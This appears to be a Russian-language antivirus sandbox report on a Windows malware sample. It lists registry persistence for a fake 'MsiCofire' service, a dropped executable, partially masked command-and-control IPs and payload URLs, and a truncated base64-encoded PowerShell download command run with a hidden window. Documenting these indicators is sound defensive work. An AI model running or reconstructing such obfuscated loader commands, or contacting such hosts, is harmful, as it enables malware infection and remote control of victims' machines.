Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\MsiCofire] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\MsiCofire] 'ImagePath' = '"<SYSTEM32>\tasklist\MsiCofire.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNAFgAUABEAE0AZAB4AHoAPQAnAEYAVgBTAFoAWgBnAG0AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAcgBgAGkAVAB5AFAAcgBPAFQATwBgAGMAYABPAGwAIgAgAD...
- %HOMEPATH%\996.exe
- <SYSTEM32>\tasklist\msicofire.exe
- %HOMEPATH%\996.exe в <SYSTEM32>\tasklist\msicofire.exe
- '24.##9.135.121':80
- '18#.#4.252.13':443
- http://jo###onlam.com/images/KO2l8V/
- http://jo##pa.com/bobby/ll5P/
- http://18#.##.252.13:443/cwPVZbQitNRJ5/tbSVE/q0Hfo/25Q5a0pCXs/ via 18#.#4.252.13
- DNS ASK jo###onlam.com
- DNS ASK jo##pa.com
- '%HOMEPATH%\996.exe'
- '<SYSTEM32>\tasklist\msicofire.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABNAFgAUABEAE0AZAB4AHoAPQAnAEYAVgBTAFoAWgBnAG0AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBgAFUAcgBgAGkAVAB5AFAAcgBPAFQATwBgAGMAYABPAGwAIgAgAD...' (со скрытым окном)